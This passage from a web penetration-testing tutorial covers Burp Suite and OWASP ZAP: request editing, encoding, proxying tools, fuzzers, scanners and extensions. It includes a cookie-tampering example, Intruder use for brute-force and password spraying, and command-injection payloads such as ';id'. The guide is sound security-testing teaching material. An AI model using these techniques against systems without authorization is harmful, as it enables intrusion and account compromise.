Right-click the request in History → Open/Resend with Request Editor. The Request Editor window opens; edit the request, then click Send to get the response in the same window. Use the Method dropdown to change HTTP method. Use the display/layout buttons to arrange request and response (tabs vs side-by-side, etc.).
HUD: In the pre-configured browser, click the request in the bottom History pane → Request Editor appears. Replay in Console shows the response in the HUD; Replay in Browser renders it in the browser. In all cases (Burp Repeater, ZAP Request Editor, ZAP HUD) you can edit then Send to resend with changes.

Tip: Request bodies are often URL-encoded; keep encoding in mind when editing (e.g. %3B for ;). The next section covers this in more detail.

Encoding / decoding

Concept (tool-agnostic):
When you modify and send custom HTTP requests, encoding and decoding matter. URL encoding ensures the server parses data correctly: characters like spaces (can end request data), & (parameter delimiter), and # (fragment) must be encoded. Applications also use other encodings (HTML, Unicode, Base64, ASCII hex); you need to decode to inspect data (e.g. cookies, tokens) and encode payloads in the format the server expects. Both tools have built-in encoders/decoders so you can work quickly without leaving the proxy.

URL encoding

Burp Suite (Repeater): Select the text → right-click → Convert Selection → URL → URL-encode key characters, or Ctrl+U. You can enable URL-encode as you type via right-click so input is encoded automatically. Other options: Full URL-encoding, Unicode URL encoding (for many special characters).

OWASP ZAP: Request data is automatically URL-encoded before send (you may not see it in the editor). For manual control or other encodings, use the Encoder/Decoder/Hash tool (see below).

Decoder / Encoder tool

Burp Suite
Decoder tab: enter text, choose Decode as or Encode as (e.g. Base64, HTML, Unicode, ASCII hex). The output pane can be passed through another encoder/decoder—select the method in the output area to chain. Burp Inspector (in Proxy, Repeater, etc.) also does encoding/decoding inline on requests and responses.

OWASP ZAP
Encoder/Decoder/Hash: Ctrl+E. Decode tab: paste input; ZAP can try multiple decoders. Encode (or same tool): choose encoding, get output. Use Add New Tab to build custom tabs with multiple encoders/decoders. To chain (e.g. decode then encode with another method), copy the output and paste into the input field.

Example: Base64 cookie eyJ1c2VybmFtZSI6Imd1ZXN0IiwgImlzX2FkbWluIjpmYWxzZX0= decodes to {"username":"guest", "is_admin":false}. Edit to admin / true, re-encode as Base64, then paste the new string into the request in Repeater or Request Editor to test privilege changes. Same idea applies to any encoding (HTML, Unicode, etc.) for inspection and payload crafting.

Proxying other tools

Concept (tool-agnostic):
You can route command-line tools and thick clients through the web proxy so their HTTP(S) traffic is visible and editable. Configure each tool to use the proxy (e.g. http://127.0.0.1:8080); methods vary by tool. Then you get full proxy features: intercept, history, repeat, modify. Use this when you need to see or change what a script or app is sending. Note: Proxying usually slows tools down—only enable it when you need to inspect or manipulate their requests.

Proxychains (Linux)

Proxychains sends traffic from any CLI tool through a proxy. Easiest way to proxy arbitrary commands.

1. Edit /etc/proxychains.conf: comment out the default proxy line (e.g. #socks4 127.0.0.1 9050) and add:

   http 127.0.0.1 8080

2. Run the command via proxychains. Use -q for quiet mode (less console noise):

   proxychains -q curl http://SERVER_IP:PORT

   The request appears in the web proxy (Burp or ZAP) like browser traffic. Works with any HTTP(S)-using CLI tool.

Metasploit

In msfconsole, set the proxy for modules with set PROXIES:

msfconsole
msf6 > use auxiliary/scanner/http/robots_txt
msf6 auxiliary(scanner/http/robots_txt) > set PROXIES HTTP:127.0.0.1:8080
msf6 auxiliary(scanner/http/robots_txt) > set RHOST SERVER_IP
msf6 auxiliary(scanner/http/robots_txt) > set RPORT PORT
msf6 auxiliary(scanner/http/robots_txt) > run

Requests from the module go through the proxy; check Proxy → HTTP History (Burp) or History (ZAP) to inspect them. Same approach for other scanners, exploits, and modules that make HTTP requests.

Other tools and thick clients

For other tools, scripts, or GUI apps: find how to set an HTTP proxy (often an option, env var, or config file) and point it at your proxy (e.g. 127.0.0.1:8080). Then you can examine, repeat, and modify their requests from the proxy as with browser traffic.

Web fuzzers

Concept (tool-agnostic):
Built-in web fuzzers handle fuzzing, enumeration, and brute-forcing (directories, subdomains, parameters, parameter values, etc.) and can replace or complement CLI tools (e.g. ffuf, gobuster, wfuzz, dirbuster). You send a request to the fuzzer, mark one or more payload positions, choose a wordlist and options, then run the attack and inspect results (status, length, grep matches). Use for directory discovery, login brute-force, parameter fuzzing, password spraying (e.g. AD, OWA, VPN portals), and similar tasks.

Burp Intruder

Burp’s fuzzer is Intruder. Community edition is throttled (about 1 request/second); use for short wordlists. Pro has no throttle and more features. Intruder docs; payload types.

Send request to Intruder: From Proxy history (or elsewhere), right-click the request → Send to Intruder, or Ctrl+I. Switch to Intruder tab: Ctrl+Shift+I. The Target box shows host/port from the request.

Positions: Define where the wordlist is inserted. Wrap the placeholder with § (e.g. §DIRECTORY§) or select text and click Add §. Example for directory fuzzing: GET /§DIRECTORY§/ — existing paths return 200, others 404. Leave the two blank lines at the end of the request. Attack type (e.g. Sniper = one position, Cluster bomb = multiple positions) affects how many payload sets you get.

Payloads tab:

1. Payload set & type: Choose which position (1, 2, …). Payload type: e.g. Simple list (wordlist, one line per payload), Runtime file (load wordlist line-by-line, better for huge lists), Character substitution, or others. For directory fuzzing, Simple list is typical.
2. Payload configuration: For Simple list: Load a file (e.g. /usr/share/seclists/Discovery/Web-Content/common.txt) or Add items. You can combine multiple lists. Pro: Add from list for built-in wordlists. Tip: Very large wordlists → use Runtime file to avoid loading everything into memory.
3. Payload processing: Add rules (e.g. add suffix, Skip if matches regex). Example: skip lines starting with . using regex ^\..*$.
4. Payload encoding: Usually leave URL-encode enabled so special characters are encoded.

Payload options (Intruder): Payload types reference.

Settings tab: Configure Grep - Match to flag responses containing a string (e.g. 200 OK). Clear existing rules, Add 200 OK, and disable Exclude HTTP headers if you want to match the status line. Grep - Extract can pull specific parts of responses. Set Number of retries / Pause before retry if needed. Resource pool (right-hand bar) controls how much network Intruder uses for large attacks.

Attack: Click Start attack. Results table: sort by the grep column (e.g. 200 OK), Status, or Length to find hits (e.g. /admin/ with 200). Use Intruder for directory fuzzing, parameter/value fuzzing, brute-force, and password spraying against AD-authenticated apps (OWA, VPN, RDS, Citrix, etc.). ZAP’s fuzzer (below) has no speed throttle.

ZAP Fuzzer

ZAP Fuzzer is ZAP’s built-in fuzzer. It has fewer features than Burp Intruder but does not throttle request speed, so it is often better than free Burp Intruder for large wordlists. Use it for directory fuzzing, parameter fuzzing, and similar attacks.

Start a fuzz: Capture a request (e.g. visit http://SERVER_IP:PORT/test/ so the path contains the placeholder). In History, right-click the request → Attack → Fuzz. The Fuzzer window opens with the request on the left and Fuzz Locations on the right.

Locations: Like Intruder payload positions. Select the word you want to replace (e.g. test in the path) and click Add. A green marker is placed and the Payloads configuration opens. You can add multiple locations.

Payloads: Click Add and choose a payload type. Examples:

• File — load a wordlist from a file.
• File Fuzzers — use built-in wordlists (e.g. dirbuster → directory-list-1.0.txt). More lists available via ZAP Marketplace.
• Numberzz — generate number sequences with custom step.

Processors: Optional processing for each payload. Add a processor; types include Base64 Decode/Encode, MD5, Prefix String, Postfix String, SHA-1/256/512, URL Decode/Encode, Script (custom). For directory fuzzing, add URL Encode so special characters don’t break the request. Use Generate Preview to see the final payload in context, then Add and Ok.

Options: Set Concurrent Scanning Threads per Scan (e.g. 20) for speed; balance with CPU and server load. Depth first — try all payloads at one position before moving to the next (e.g. all words for one user). Breadth first — try the first word on all positions, then the next word (e.g. one password for all users). Configure retries, max errors, redirects as needed.

Start: Click Start Fuzzer. In the results table, sort by Response code (e.g. 200) to find hits. Click a row to view request/response. Size Resp. Body can indicate different pages; RTT (round-trip time) matters for time-based attacks (e.g. time-based SQLi).

Web scanners

Concept (tool-agnostic):
Web proxy tools often include scanners that combine a crawler (follow links and forms to map the site), passive scanning (analyze already-seen traffic for issues without sending new requests), and active scanning (send probes to confirm and find vulnerabilities). Define scope (in/out of scope) so the scanner only targets allowed URLs. Use scan results and reports as supporting evidence; never substitute a raw tool report for a proper client deliverable.

Burp Scanner (Pro only)

Burp Scanner is a Pro-only feature (not in Community edition). It uses a Crawler to build the site structure and Scanner for passive and active vulnerability checks.

Target scope

• Start a scan: (1) From Proxy → HTTP History: right-click a request → Scan (configure) or Passive scan / Active scan (defaults). (2) Dashboard → New Scan for custom target set. (3) Use scope so only in-scope items are scanned.
• Scope: Target → Site map lists everything Burp has seen. Right-click an item → Add to scope (or Remove from scope). Target → Scope shows include/exclude rules; use Use advanced scope control for regex. You can restrict Burp to in-scope only to save resources. When you add the first scope item, Burp may ask whether to limit features to in-scope only.

Crawler

• Dashboard → New Scan. Two modes: Crawl (map only) or Crawl and Audit (crawl then scan). Crawler follows links and forms; it does not discover unreferenced paths (use Intruder or Content Discovery, then add to scope).
• Scan configuration: New for custom (speed, limits, login behaviour) or Select from library (e.g. Crawl strategy - fastest). Application login: add credentials and/or record a manual login in the built-in browser so the crawler can stay authenticated. Ok to start. Progress under Dashboard → Tasks; View details or the gear icon to adjust. When finished, Target → Site map shows the updated map.

Passive scanner

• Analyzes existing requests/responses only (no new requests). Flags possible issues (e.g. missing security headers, DOM XSS). Each finding has a confidence (e.g. Certain, Firm). Right-click target in Site map or a request in Proxy history → Do passive scan / Passively scan this target. Task appears in Dashboard. View details → Issue activity (or the Issue activity pane on Dashboard) to see findings. Prioritise High severity and Certain/Firm confidence; for sensitive apps, review all severities.

Active scanner

• Crawl and Audit in New Scan runs: (1) Crawl + discovery (like a fuzzer) for pages, (2) Passive scan on discovered content, (3) Active checks to verify passive findings, (4) JavaScript analysis, (5) Fuzzing of parameters for XSS, command injection, SQLi, etc. Frequently updated by PortSwigger.
• Start: right-click request → Do active scan, or New Scan → Crawl and Audit. Set Crawl config (as above) and Audit config: what to check, insertion points; Select from library e.g. Audit checks - critical issues only. Add login if needed. Ok to run. Progress in Dashboard → Tasks; Logger tab shows requests made by the scanner. When done, filter Issue activity by severity (e.g. High) and confidence (e.g. Certain/Firm). Click an issue for the advisory, request/response, and remediation notes.

Reporting

• Target → Site map → right-click the host → Issue → Report issues for this host. Choose export format and what to include. The report summarizes by severity/confidence and can include PoC and remediation. Use as appendix or supplementary data, not as the final client report; always produce a proper written deliverable and use tool output as support.

ZAP Scanner

ZAP includes Spider, passive scanning, and active scanning; all run in the free version. Scope defines which URLs are included in scans and can be customized for multiple sites.

Spider

• Start: In History, right-click a request → Attack → Spider. Or in the HUD (pre-configured browser): open the target page, then click the second button on the right pane (Spider Start) and confirm. If the site is not in scope, ZAP may ask to add it (choose Yes). Scope is the set of URLs ZAP will crawl/scan; you can add multiple targets. Note: Some browser versions may not support the HUD fully.
• Spider follows links and validates them (similar to Burp Crawler). Progress: HUD Spider button or main ZAP UI (often switches to the Spider tab). When finished: Sites tab in the main UI, or HUD first button on the right pane (Sites Tree) for an expandable tree of discovered URLs and directories.
• Ajax Spider: Third button on the right pane. Discovers links loaded via JavaScript/AJAX. Run after the normal Spider for better coverage; it can find more URLs but takes longer.

Passive scanner

• Runs automatically on every response (e.g. while Spider runs or as you browse). Identifies potential issues from source (e.g. missing security headers, DOM-based XSS). Alerts can appear before you run an Active Scan. In the HUD: left pane = alerts for the current page, right pane = all alerts for the application. In the main UI: Alerts tab lists all findings; click an alert for details and the URLs where it was seen.

Active scanner

• Click Active Scan on the right pane (or equivalent in main UI). Scans all URLs in the site tree. If you have not run the Spider yet, ZAP runs it first to build the tree. Progress is shown in the HUD and in the main ZAP UI; alerts increase as the scan runs. The Active Scanner sends many probes against pages and parameters (XSS, command injection, SQLi, etc.) and takes longer. When done: filter by severity (e.g. High for issues that may lead to compromise). Click an alert for description, attack example, and evidence; click the URL to see the request/response and use Replay in Console or Replay in Browser to reproduce.

Reporting

• Report → Generate HTML Report (top bar). Choose save location; reports can also be exported as XML or Markdown. Open in a browser to review. Use as a log or supplement for engagements, not as the sole client deliverable.

Extensions / add-ons

Concept (tool-agnostic):
Both tools support extensions (Burp) or add-ons (ZAP) from the community. They can act on captured requests, add features (e.g. decoding, beautifying, new scan checks), or provide extra wordlists and payloads. Install only what you need; some extensions have dependencies (e.g. Jython) that must be installed on your system first.

Burp: BApp Store

• Extender tab → BApp Store sub-tab. Browse extensions; sort by Popularity. Some are Pro-only; most are available to all users.
• Click an extension to install it. After install, a new tab or menu item may appear. Use the extension’s documentation in the BApp Store or its GitHub page for usage. Some extensions require Jython (or other runtimes) to be installed on your machine (Linux/macOS/Windows) before they can run.
• Example: Decoder Improved — adds a tab with more encoders/decoders and hashing (e.g. Hash With → MD5). Use like the built-in Decoder with extra options.
• Examples of useful extensions: .NET Beautifier, J2EEScan, Software Version Reporter, Active Scan++, AWS Security Checks, Backslash Powered Scanner, Wsdler, Java Deserialization Scanner, C02 (cloud storage tester), CMS Scanner, Error Message Checks, Detect Dynamic JS, Headers Analyzer, HTML5 Auditor, PHP Object Injection Check, JavaScript Security, Retire.JS, CSP Auditor, Random IP Address Header, Autorize, CSRF Scanner, JS Link Finder. Browse the store for more.

ZAP: Marketplace

• Click Manage Add-ons (toolbar) → Marketplace tab. Add-ons can be Release (stable) or Beta/Alpha (may be unstable).
• Install add-ons to add features or data. Example: FuzzDB Files and FuzzDB Offensive add wordlists for the ZAP Fuzzer. In the Fuzzer, choose payload type File Fuzzers → e.g. fuzzdb → attack → os-cmd-execution (e.g. command_execution-unix.txt) for command-injection payloads. Run the fuzzer to test with many payloads (e.g. ;id, /usr/bin/id); useful when testing WAF-protected or strict applications. Try other Marketplace add-ons for scanners, scripts, and extra payloads.